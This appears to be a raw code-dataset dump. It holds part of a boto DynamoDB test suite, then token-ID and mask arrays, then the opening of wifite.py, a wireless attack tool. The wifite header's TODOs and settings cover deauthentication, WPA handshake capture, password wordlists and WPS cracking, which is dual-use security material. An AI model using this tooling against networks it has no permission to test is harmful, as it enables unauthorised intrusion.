item1_key = 'Amazon DynamoDB'
item1_range = 'DynamoDB Thread 1'
item1_attrs = {
'Message': 'DynamoDB thread 1 message text',
'LastPostedBy': 'User A',
'Views': 0,
'Replies': 0,
'Answered': 0,
'Public': True,
'Tags': set(['index', 'primarykey', 'table']),
'LastPostDateTime': '12/9/2011 11:36:03 PM'}
# Test a few corner cases with new_item
# Try supplying a hash_key as an arg and as an item in attrs
item1_attrs[self.hash_key_name] = 'foo'
foobar_item = table.new_item(item1_key, item1_range, item1_attrs)
assert foobar_item.hash_key == item1_key
# Try supplying a range_key as an arg and as an item in attrs
item1_attrs[self.range_key_name] = 'bar'
foobar_item = table.new_item(item1_key, item1_range, item1_attrs)
assert foobar_item.range_key == item1_range
# Try supplying hash and range key in attrs dict
foobar_item = table.new_item(attrs=item1_attrs)
assert foobar_item.hash_key == 'foo'
assert foobar_item.range_key == 'bar'
del item1_attrs[self.hash_key_name]
del item1_attrs[self.range_key_name]
item1 = table.new_item(item1_key, item1_range, item1_attrs)
# make sure the put() succeeds
try:
item1.put()
except c.layer1.ResponseError as e:
raise Exception("Item put failed: %s" % e)
# Try to get an item that does not exist.
self.assertRaises(DynamoDBKeyNotFoundError,
table.get_item, 'bogus_key', item1_range)
# Now do a consistent read and check results
item1_copy = table.get_item(item1_key, item1_range,
consistent_read=True)
assert item1_copy.hash_key == item1.hash_key
assert item1_copy.range_key == item1.range_key
for attr_name in item1_attrs:
val = item1_copy[attr_name]
if isinstance(val, (int, long_type, float, six.string_types)):
assert val == item1[attr_name]
# Try retrieving only select attributes
attributes = ['Message', 'Views']
item1_small = table.get_item(item1_key, item1_range,
attributes_to_get=attributes,
consistent_read=True)
for attr_name in item1_small:
# The item will include the attributes we asked for as
# well as the hashkey and rangekey, so filter those out.
if attr_name not in (item1_small.hash_key_name,
item1_small.range_key_name):
assert attr_name in attributes
self.assertTrue(table.has_item(item1_key, range_key=item1_range,
consistent_read=True))
# Try to delete the item with the wrong Expected value
expected = {'Views': 1}
self.assertRaises(DynamoDBConditionalCheckFailedError,
item1.delete, expected_value=expected)
# Try to delete a value while expecting a non-existant attribute
expected = {'FooBar': True}
try:
item1.delete(expected_value=expected)
except c.layer1.ResponseError:
pass
# Now update the existing object
item1.add_attribute('Replies', 2)
removed_attr = 'Public'
item1.delete_attribute(removed_attr)
removed_tag = item1_attrs['Tags'].copy().pop()
item1.delete_attribute('Tags', set([removed_tag]))
replies_by_set = set(['Adam', 'Arnie'])
item1.put_attribute('RepliesBy', replies_by_set)
retvals = item1.save(return_values='ALL_OLD')
# Need more tests here for variations on return_values
assert 'Attributes' in retvals
# Check for correct updates
item1_updated = table.get_item(item1_key, item1_range,
consistent_read=True)
assert item1_updated['Replies'] == item1_attrs['Replies'] + 2
self.assertFalse(removed_attr in item1_updated)
self.assertTrue(removed_tag not in item1_updated['Tags'])
self.assertTrue('RepliesBy' in item1_updated)
self.assertTrue(item1_updated['RepliesBy'] == replies_by_set)
# Put a few more items into the table
item2_key = 'Amazon DynamoDB'
item2_range = 'DynamoDB Thread 2'
item2_attrs = {
'Message': 'DynamoDB thread 2 message text',
'LastPostedBy': 'User A',
'Views': 0,
'Replies': 0,
'Answered': 0,
'Tags': set(["index", "primarykey", "table"]),
'LastPost2DateTime': '12/9/2011 11:36:03 PM'}
item2 = table.new_item(item2_key, item2_range, item2_attrs)
item2.put()
item3_key = 'Amazon S3'
item3_range = 'S3 Thread 1'
item3_attrs = {
'Message': 'S3 Thread 1 message text',
'LastPostedBy': 'User A',
'Views': 0,
'Replies': 0,
'Answered': 0,
'Tags': set(['largeobject', 'multipart upload']),
'LastPostDateTime': '12/9/2011 11:36:03 PM'
}
item3 = table.new_item(item3_key, item3_range, item3_attrs)
item3.put()
# Put an item into the second table
table2_item1_key = uuid.uuid4().hex
table2_item1_attrs = {
'DateTimePosted': '25/1/2011 12:34:56 PM',
'Text': 'I think boto rocks and so does DynamoDB'
}
table2_item1 = table2.new_item(table2_item1_key,
attrs=table2_item1_attrs)
table2_item1.put()
# Try a few queries
items = table.query('Amazon DynamoDB', range_key_condition=BEGINS_WITH('DynamoDB'))
n = 0
for item in items:
n += 1
assert n == 2
assert items.consumed_units > 0
items = table.query('Amazon DynamoDB', range_key_condition=BEGINS_WITH('DynamoDB'),
request_limit=1, max_results=1)
n = 0
for item in items:
n += 1
assert n == 1
assert items.consumed_units > 0
# Try a few scans
items = table.scan()
n = 0
for item in items:
n += 1
assert n == 3
assert items.consumed_units > 0
items = table.scan(scan_filter={'Replies': GT(0)})
n = 0
for item in items:
n += 1
assert n == 1
assert items.consumed_units > 0
# Test some integer and float attributes
integer_value = 42
float_value = 345.678
item3['IntAttr'] = integer_value
item3['FloatAttr'] = float_value
# Test booleans
item3['TrueBoolean'] = True
item3['FalseBoolean'] = False
# Test some set values
integer_set = set([1, 2, 3, 4, 5])
float_set = set([1.1, 2.2, 3.3, 4.4, 5.5])
mixed_set = set([1, 2, 3.3, 4, 5.555])
str_set = set(['foo', 'bar', 'fie', 'baz'])
item3['IntSetAttr'] = integer_set
item3['FloatSetAttr'] = float_set
item3['MixedSetAttr'] = mixed_set
item3['StrSetAttr'] = str_set
item3.put()
# Now do a consistent read
item4 = table.get_item(item3_key, item3_range, consistent_read=True)
assert item4['IntAttr'] == integer_value
assert item4['FloatAttr'] == float_value
assert bool(item4['TrueBoolean']) is True
assert bool(item4['FalseBoolean']) is False
# The values will not necessarily be in the same order as when
# we wrote them to the DB.
for i in item4['IntSetAttr']:
assert i in integer_set
for i in item4['FloatSetAttr']:
assert i in float_set
for i in item4['MixedSetAttr']:
assert i in mixed_set
for i in item4['StrSetAttr']:
assert i in str_set
# Try a batch get
batch_list = c.new_batch_list()
batch_list.add_batch(table, [(item2_key, item2_range),
(item3_key, item3_range)])
response = batch_list.submit()
assert len(response['Responses'][table.name]['Items']) == 2
# Try an empty batch get
batch_list = c.new_batch_list()
batch_list.add_batch(table, [])
response = batch_list.submit()
assert response == {}
# Try a few batch write operations
item4_key = 'Amazon S3'
item4_range = 'S3 Thread 2'
item4_attrs = {
'Message': 'S3 Thread 2 message text',
'LastPostedBy': 'User A',
'Views': 0,
'Replies': 0,
'Answered': 0,
'Tags': set(['largeobject', 'multipart upload']),
'LastPostDateTime': '12/9/2011 11:36:03 PM'
}
item5_key = 'Amazon S3'
item5_range = 'S3 Thread 3'
item5_attrs = {
'Message': 'S3 Thread 3 message text',
'LastPostedBy': 'User A',
'Views': 0,
'Replies': 0,
'Answered': 0,
'Tags': set(['largeobject', 'multipart upload']),
'LastPostDateTime': '12/9/2011 11:36:03 PM'
}
item4 = table.new_item(item4_key, item4_range, item4_attrs)
item5 = table.new_item(item5_key, item5_range, item5_attrs)
batch_list = c.new_batch_write_list()
batch_list.add_batch(table, puts=[item4, item5])
response = batch_list.submit()
# should really check for unprocessed items
# Do some generator gymnastics
results = table.scan(scan_filter={'Tags': CONTAINS('table')})
assert results.scanned_count == 5
results = table.scan(request_limit=2, max_results=5)
assert results.count == 2
for item in results:
if results.count == 2:
assert results.remaining == 4
results.remaining -= 2
results.next_response()
else:
assert results.count == 4
assert results.remaining in (0, 1)
assert results.count == 4
results = table.scan(request_limit=6, max_results=4)
assert len(list(results)) == 4
assert results.count == 4
batch_list = c.new_batch_write_list()
batch_list.add_batch(table, deletes=[(item4_key, item4_range),
(item5_key, item5_range)])
response = batch_list.submit()
# Try queries
results = table.query('Amazon DynamoDB', range_key_condition=BEGINS_WITH('DynamoDB'))
n = 0
for item in results:
n += 1
assert n == 2
# Try to delete the item with the right Expected value
expected = {'Views': 0}
item1.delete(expected_value=expected)
self.assertFalse(table.has_item(item1_key, range_key=item1_range,
consistent_read=True))
# Now delete the remaining items
ret_vals = item2.delete(return_values='ALL_OLD')
# some additional checks here would be useful
assert ret_vals['Attributes'][self.hash_key_name] == item2_key
assert ret_vals['Attributes'][self.range_key_name] == item2_range
item3.delete()
table2_item1.delete()
print('--- tests completed ---')
def test_binary_attrs(self):
c = self.dynamodb
schema = c.create_schema(self.hash_key_name, self.hash_key_proto_value,
self.range_key_name,
self.range_key_proto_value)
index = int(time.time())
table_name = 'test-%d' % index
read_units = 5
write_units = 5
table = self.create_table(table_name, schema, read_units, write_units)
table.refresh(wait_for_active=True)
item1_key = 'Amazon S3'
item1_range = 'S3 Thread 1'
item1_attrs = {
'Message': 'S3 Thread 1 message text',
'LastPostedBy': 'User A',
'Views': 0,
'Replies': 0,
'Answered': 0,
'BinaryData': Binary(b'\x01\x02\x03\x04'),
'BinarySequence': set([Binary(b'\x01\x02'), Binary(b'\x03\x04')]),
'Tags': set(['largeobject', 'multipart upload']),
'LastPostDateTime': '12/9/2011 11:36:03 PM'
}
item1 = table.new_item(item1_key, item1_range, item1_attrs)
item1.put()
retrieved = table.get_item(item1_key, item1_range, consistent_read=True)
self.assertEqual(retrieved['Message'], 'S3 Thread 1 message text')
self.assertEqual(retrieved['Views'], 0)
self.assertEqual(retrieved['Tags'],
set(['largeobject', 'multipart upload']))
self.assertEqual(retrieved['BinaryData'], Binary(b'\x01\x02\x03\x04'))
# Also comparable directly to bytes:
self.assertEqual(retrieved['BinaryData'], b'\x01\x02\x03\x04')
self.assertEqual(retrieved['BinarySequence'],
set([Binary(b'\x01\x02'), Binary(b'\x03\x04')]))
def test_put_decimal_attrs(self):
self.dynamodb.use_decimals()
table = self.create_sample_table()
item = table.new_item('foo', 'bar')
item['decimalvalue'] = Decimal('1.12345678912345')
item.put()
retrieved = table.get_item('foo', 'bar')
self.assertEqual(retrieved['decimalvalue'], Decimal('1.12345678912345'))
@unittest.skipIf(six.PY3, "skipping lossy_float_conversion test for Python 3.x")
def test_lossy_float_conversion(self):
table = self.create_sample_table()
item = table.new_item('foo', 'bar')
item['floatvalue'] = 1.12345678912345
item.put()
retrieved = table.get_item('foo', 'bar')['floatvalue']
# Notice how this is not equal to the original value.
self.assertNotEqual(1.12345678912345, retrieved)
# Instead, it's truncated:
self.assertEqual(1.12345678912, retrieved)
def test_large_integers(self):
# It's not just floating point numbers, large integers
# can trigger rouding issues.
self.dynamodb.use_decimals()
table = self.create_sample_table()
item = table.new_item('foo', 'bar')
item['decimalvalue'] = Decimal('129271300103398600')
item.put()
retrieved = table.get_item('foo', 'bar')
self.assertEqual(retrieved['decimalvalue'], Decimal('129271300103398600'))
# Also comparable directly to an int.
self.assertEqual(retrieved['decimalvalue'], 129271300103398600)
def test_put_single_letter_attr(self):
# When an attr is added that is a single letter, if it overlaps with
# the built-in "types", the decoding used to fall down. Assert that
# it's now working correctly.
table = self.create_sample_table()
item = table.new_item('foo', 'foo1')
item.put_attribute('b', 4)
stored = item.save(return_values='UPDATED_NEW')
self.assertEqual(stored['Attributes'], {'b': 4})
|
mit
|
[
3,
1898,
334,
67,
9,
6029,
603,
9414,
598,
26272,
1455,
921,
71,
26272,
14,
1308,
15,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
282,
199,
3,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
2153,
13,
199,
3,
28420,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
11291,
199,
3,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
314,
1699,
13,
199,
3,
28486,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
3826,
12,
7168,
199,
3,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
2990,
1634,
28471,
13,
199,
3,
28463,
12,
3092,
2381,
437,
3115,
3104,
2401,
13229,
14,
1621,
4825,
6461,
199,
3,
7000,
2334,
17632,
6262,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
199,
3,
7061,
1621,
1261,
9612,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
199,
3,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
199,
3,
1621,
2334,
4141,
14,
199,
199,
624,
199,
2925,
367,
11915,
18,
402,
14347,
31856,
199,
624,
199,
646,
900,
199,
646,
5377,
199,
504,
6107,
492,
6345,
199,
199,
504,
2295,
14,
3248,
492,
2882,
199,
504,
6055,
14,
30001,
14,
3924,
492,
31856,
1197,
10870,
199,
504,
6055,
14,
30001,
14,
3924,
492,
31856,
21321,
1799,
4276,
547,
199,
504,
6055,
14,
30001,
14,
1897,
18,
492,
11915,
18,
199,
504,
6055,
14,
30001,
14,
1313,
492,
664,
63,
30001,
63,
466,
12,
14161,
199,
504,
6055,
14,
30001,
14,
5394,
492,
16427,
51,
63,
9139,
12,
1868,
6166,
10789,
12,
598,
52,
199,
504,
6055,
14,
5819,
492,
3816,
12,
1846,
63,
466,
421,
199,
533,
31856,
5003,
18,
774,
8,
2796,
14,
1746,
304,
272,
31388,
13152,
275,
715,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
30001,
275,
11915,
18,
342,
267,
291,
14,
2227,
63,
498,
63,
354,
275,
283,
10044,
63,
354,
7,
267,
291,
14,
2227,
63,
498,
63,
2625,
63,
585,
275,
2125,
267,
291,
14,
1842,
63,
498,
63,
354,
275,
283,
5875,
7,
267,
291,
14,
1842,
63,
498,
63,
2625,
63,
585,
275,
2125,
267,
291,
14,
1224,
63,
354,
275,
283,
3271,
63,
576,
4970,
83,
7,
450,
1109,
8,
521,
14,
521,
1012,
339,
347,
1218,
63,
3271,
63,
1224,
8,
277,
304,
267,
4177,
275,
291,
14,
30001,
14,
981,
63,
3629,
8,
288,
291,
14,
2227,
63,
498,
63,
354,
12,
291,
14,
2227,
63,
498,
63,
2625,
63,
585,
12,
288,
291,
14,
1842,
63,
498,
63,
354,
12,
288,
291,
14,
1842,
63,
498,
63,
2625,
63,
585,
9,
267,
1817,
275,
291,
14,
981,
63,
1224,
8,
277,
14,
1224,
63,
354,
12,
4177,
12,
959,
12,
959,
9,
267,
1817,
14,
6635,
8,
2573,
63,
509,
63,
2682,
29,
549,
9,
267,
372,
1817,
339,
347,
1218,
63,
1224,
8,
277,
12,
1817,
63,
354,
12,
4177,
12,
1586,
63,
5260,
12,
2218,
63,
5260,
304,
267,
754,
275,
291,
14,
30001,
14,
981,
63,
1224,
8,
1224,
63,
354,
12,
4177,
12,
1586,
63,
5260,
12,
2218,
63,
5260,
9,
267,
291,
14,
12808,
8,
277,
14,
30001,
14,
1807,
63,
1224,
12,
754,
9,
267,
372,
754,
339,
347,
511,
63,
1897,
18,
63,
4316,
8,
277,
304,
267,
870,
360,
2595,
3879,
14347,
31856,
11915,
18,
2295,
10894,
358,
267,
286,
275,
291,
14,
30001,
398,
327,
7758,
1218,
282,
4177,
367,
314,
1817,
267,
4177,
275,
286,
14,
981,
63,
3629,
8,
277,
14,
2227,
63,
498,
63,
354,
12,
291,
14,
2227,
63,
498,
63,
2625,
63,
585,
12,
639,
291,
14,
1842,
63,
498,
63,
354,
12,
639,
291,
14,
1842,
63,
498,
63,
2625,
63,
585,
9,
398,
327,
2790,
4573,
4177,
1928,
282,
1425,
790,
267,
4177,
18,
275,
286,
14,
981,
63,
3629,
360,
1932,
63,
344,
297,
4074,
398,
327,
7356,
1218,
282,
1817,
267,
1478,
275,
1109,
8,
521,
14,
521,
1012,
267,
1817,
63,
354,
275,
283,
396,
3295,
68,
7,
450,
1478,
267,
1586,
63,
5260,
275,
959,
267,
2218,
63,
5260,
275,
959,
267,
1817,
275,
291,
14,
981,
63,
1224,
8,
1224,
63,
354,
12,
4177,
12,
1586,
63,
5260,
12,
2218,
63,
5260,
9,
267,
702,
1817,
14,
354,
508,
1817,
63,
354,
267,
702,
1817,
14,
3629,
14,
2227,
63,
498,
63,
354,
508,
291,
14,
2227,
63,
498,
63,
354,
267,
702,
1817,
14,
3629,
14,
2227,
63,
498,
63,
466,
508,
664,
63,
30001,
63,
466,
8,
277,
14,
2227,
63,
498,
63,
2625,
63,
585,
9,
267,
702,
1817,
14,
3629,
14,
1842,
63,
498,
63,
354,
508,
291,
14,
1842,
63,
498,
63,
354,
267,
702,
1817,
14,
3629,
14,
1842,
63,
498,
63,
466,
508,
664,
63,
30001,
63,
466,
8,
277,
14,
1842,
63,
498,
63,
2625,
63,
585,
9,
267,
702,
1817,
14,
739,
63,
5260,
508,
1586,
63,
5260,
267,
702,
1817,
14,
952,
63,
5260,
508,
2218,
63,
5260,
267,
702,
1817,
14,
1053,
63,
835,
508,
378,
267,
702,
1817,
14,
890,
63,
2394,
508,
378,
398,
327,
2790,
314,
3499,
1817,
267,
1817,
18,
63,
354,
275,
283,
396,
3295,
68,
7,
450,
334,
1080,
435,
413,
9,
267,
1817,
18,
275,
291,
14,
981,
63,
1224,
8,
1224,
18,
63,
354,
12,
4177,
18,
12,
1586,
63,
5260,
12,
2218,
63,
5260,
9,
398,
327,
13144,
367,
1817,
370,
8649,
4702,
267,
1817,
14,
6635,
8,
2573,
63,
509,
63,
2682,
29,
549,
9,
267,
1817,
18,
14,
6635,
8,
2573
] |
[
1898,
334,
67,
9,
6029,
603,
9414,
598,
26272,
1455,
921,
71,
26272,
14,
1308,
15,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
282,
199,
3,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
2153,
13,
199,
3,
28420,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
11291,
199,
3,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
314,
1699,
13,
199,
3,
28486,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
3826,
12,
7168,
199,
3,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
2990,
1634,
28471,
13,
199,
3,
28463,
12,
3092,
2381,
437,
3115,
3104,
2401,
13229,
14,
1621,
4825,
6461,
199,
3,
7000,
2334,
17632,
6262,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
199,
3,
7061,
1621,
1261,
9612,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
199,
3,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
199,
3,
1621,
2334,
4141,
14,
199,
199,
624,
199,
2925,
367,
11915,
18,
402,
14347,
31856,
199,
624,
199,
646,
900,
199,
646,
5377,
199,
504,
6107,
492,
6345,
199,
199,
504,
2295,
14,
3248,
492,
2882,
199,
504,
6055,
14,
30001,
14,
3924,
492,
31856,
1197,
10870,
199,
504,
6055,
14,
30001,
14,
3924,
492,
31856,
21321,
1799,
4276,
547,
199,
504,
6055,
14,
30001,
14,
1897,
18,
492,
11915,
18,
199,
504,
6055,
14,
30001,
14,
1313,
492,
664,
63,
30001,
63,
466,
12,
14161,
199,
504,
6055,
14,
30001,
14,
5394,
492,
16427,
51,
63,
9139,
12,
1868,
6166,
10789,
12,
598,
52,
199,
504,
6055,
14,
5819,
492,
3816,
12,
1846,
63,
466,
421,
199,
533,
31856,
5003,
18,
774,
8,
2796,
14,
1746,
304,
272,
31388,
13152,
275,
715,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
30001,
275,
11915,
18,
342,
267,
291,
14,
2227,
63,
498,
63,
354,
275,
283,
10044,
63,
354,
7,
267,
291,
14,
2227,
63,
498,
63,
2625,
63,
585,
275,
2125,
267,
291,
14,
1842,
63,
498,
63,
354,
275,
283,
5875,
7,
267,
291,
14,
1842,
63,
498,
63,
2625,
63,
585,
275,
2125,
267,
291,
14,
1224,
63,
354,
275,
283,
3271,
63,
576,
4970,
83,
7,
450,
1109,
8,
521,
14,
521,
1012,
339,
347,
1218,
63,
3271,
63,
1224,
8,
277,
304,
267,
4177,
275,
291,
14,
30001,
14,
981,
63,
3629,
8,
288,
291,
14,
2227,
63,
498,
63,
354,
12,
291,
14,
2227,
63,
498,
63,
2625,
63,
585,
12,
288,
291,
14,
1842,
63,
498,
63,
354,
12,
288,
291,
14,
1842,
63,
498,
63,
2625,
63,
585,
9,
267,
1817,
275,
291,
14,
981,
63,
1224,
8,
277,
14,
1224,
63,
354,
12,
4177,
12,
959,
12,
959,
9,
267,
1817,
14,
6635,
8,
2573,
63,
509,
63,
2682,
29,
549,
9,
267,
372,
1817,
339,
347,
1218,
63,
1224,
8,
277,
12,
1817,
63,
354,
12,
4177,
12,
1586,
63,
5260,
12,
2218,
63,
5260,
304,
267,
754,
275,
291,
14,
30001,
14,
981,
63,
1224,
8,
1224,
63,
354,
12,
4177,
12,
1586,
63,
5260,
12,
2218,
63,
5260,
9,
267,
291,
14,
12808,
8,
277,
14,
30001,
14,
1807,
63,
1224,
12,
754,
9,
267,
372,
754,
339,
347,
511,
63,
1897,
18,
63,
4316,
8,
277,
304,
267,
870,
360,
2595,
3879,
14347,
31856,
11915,
18,
2295,
10894,
358,
267,
286,
275,
291,
14,
30001,
398,
327,
7758,
1218,
282,
4177,
367,
314,
1817,
267,
4177,
275,
286,
14,
981,
63,
3629,
8,
277,
14,
2227,
63,
498,
63,
354,
12,
291,
14,
2227,
63,
498,
63,
2625,
63,
585,
12,
639,
291,
14,
1842,
63,
498,
63,
354,
12,
639,
291,
14,
1842,
63,
498,
63,
2625,
63,
585,
9,
398,
327,
2790,
4573,
4177,
1928,
282,
1425,
790,
267,
4177,
18,
275,
286,
14,
981,
63,
3629,
360,
1932,
63,
344,
297,
4074,
398,
327,
7356,
1218,
282,
1817,
267,
1478,
275,
1109,
8,
521,
14,
521,
1012,
267,
1817,
63,
354,
275,
283,
396,
3295,
68,
7,
450,
1478,
267,
1586,
63,
5260,
275,
959,
267,
2218,
63,
5260,
275,
959,
267,
1817,
275,
291,
14,
981,
63,
1224,
8,
1224,
63,
354,
12,
4177,
12,
1586,
63,
5260,
12,
2218,
63,
5260,
9,
267,
702,
1817,
14,
354,
508,
1817,
63,
354,
267,
702,
1817,
14,
3629,
14,
2227,
63,
498,
63,
354,
508,
291,
14,
2227,
63,
498,
63,
354,
267,
702,
1817,
14,
3629,
14,
2227,
63,
498,
63,
466,
508,
664,
63,
30001,
63,
466,
8,
277,
14,
2227,
63,
498,
63,
2625,
63,
585,
9,
267,
702,
1817,
14,
3629,
14,
1842,
63,
498,
63,
354,
508,
291,
14,
1842,
63,
498,
63,
354,
267,
702,
1817,
14,
3629,
14,
1842,
63,
498,
63,
466,
508,
664,
63,
30001,
63,
466,
8,
277,
14,
1842,
63,
498,
63,
2625,
63,
585,
9,
267,
702,
1817,
14,
739,
63,
5260,
508,
1586,
63,
5260,
267,
702,
1817,
14,
952,
63,
5260,
508,
2218,
63,
5260,
267,
702,
1817,
14,
1053,
63,
835,
508,
378,
267,
702,
1817,
14,
890,
63,
2394,
508,
378,
398,
327,
2790,
314,
3499,
1817,
267,
1817,
18,
63,
354,
275,
283,
396,
3295,
68,
7,
450,
334,
1080,
435,
413,
9,
267,
1817,
18,
275,
291,
14,
981,
63,
1224,
8,
1224,
18,
63,
354,
12,
4177,
18,
12,
1586,
63,
5260,
12,
2218,
63,
5260,
9,
398,
327,
13144,
367,
1817,
370,
8649,
4702,
267,
1817,
14,
6635,
8,
2573,
63,
509,
63,
2682,
29,
549,
9,
267,
1817,
18,
14,
6635,
8,
2573,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Kanik07/wifite
|
wifite.py
|
56
|
98589
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
wifite
author: derv82 at gmail
Licensed under the GNU General Public License Version 2 (GNU GPL v2),
available at: http://www.gnu.org/licenses/gpl-2.0.txt
(C) 2011 Derv Merkler
-----------------
TODO:
ignore root check when -cracked (afterward) (need root for -check?)
"cracked*" in list of AP's
Restore same command-line switch names from v1
If device already in monitor mode, check for and, if applicable, use macchanger
WPS
* Mention reaver automatically resumes sessions
* Warning about length of time required for WPS attack (*hours*)
* Show time since last successful attempt
* Percentage of tries/attempts ?
* Update code to work with reaver 1.4 ("x" sec/att)
WEP:
* ability to pause/skip/continue (done, not tested)
* Option to capture only IVS packets (uses --output-format ivs,csv)
- not compatible on older aircrack-ng's.
- Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
- would cut down on size of saved .caps
reaver:
MONITOR ACTIVITY!
- Enter ESSID when executing (?)
- Ensure WPS key attempts have begun.
- If no attempts can be made, stop attack
- During attack, if no attempts are made within X minutes, stop attack & Print
- Reaver's output when unable to associate:
[!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
- If failed to associate for x minutes, stop attack (same as no attempts?)
MIGHTDO:
* WPA - crack (pyrit/cowpatty) (not really important)
* Test injection at startup? (skippable via command-line switch)
"""
#############
# LIBRARIES #
#############
import os # File management
import time # Measuring attack intervals
import random # Generating a random MAC address.
import errno # Error numbers
from sys import argv # Command-line arguments
from sys import stdout, stdin # Flushing
from shutil import copy # Copying .cap files
# Executing, communicating with, killing processes
from subprocess import Popen, call, PIPE
from signal import SIGINT, SIGTERM
import re # RegEx, Converting SSID to filename
import urllib # Check for new versions from the repo
################################
# GLOBAL VARIABLES IN ALL CAPS #
################################
REVISION = 85;
# WPA variables
WPA_DISABLE = False # Flag to skip WPA handshake capture
WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake
WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds)
WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds)
WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored
# Strip file path separator if needed
if WPA_HANDSHAKE_DIR != '' and WPA_HANDSHAKE_DIR[-1] == os.sep:
WPA_HANDSHAKE_DIR = WPA_HANDSHAKE_DIR[:-1]
WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks
WPA_DONT_CRACK = False # Flag to skip cracking of handshakes
WPA_DICTIONARY = '/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
if not os.path.exists(WPA_DICTIONARY): WPA_DICTIONARY = ''
# Various programs to use when checking for a four-way handshake.
# True means the program must find a valid handshake in order for wifite to recognize a handshake.
# Not finding handshake short circuits result (ALL 'True' programs must find handshake)
WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate.
WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast.
WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)
# WEP variables
WEP_DISABLE = False # Flag for ignoring WEP networks
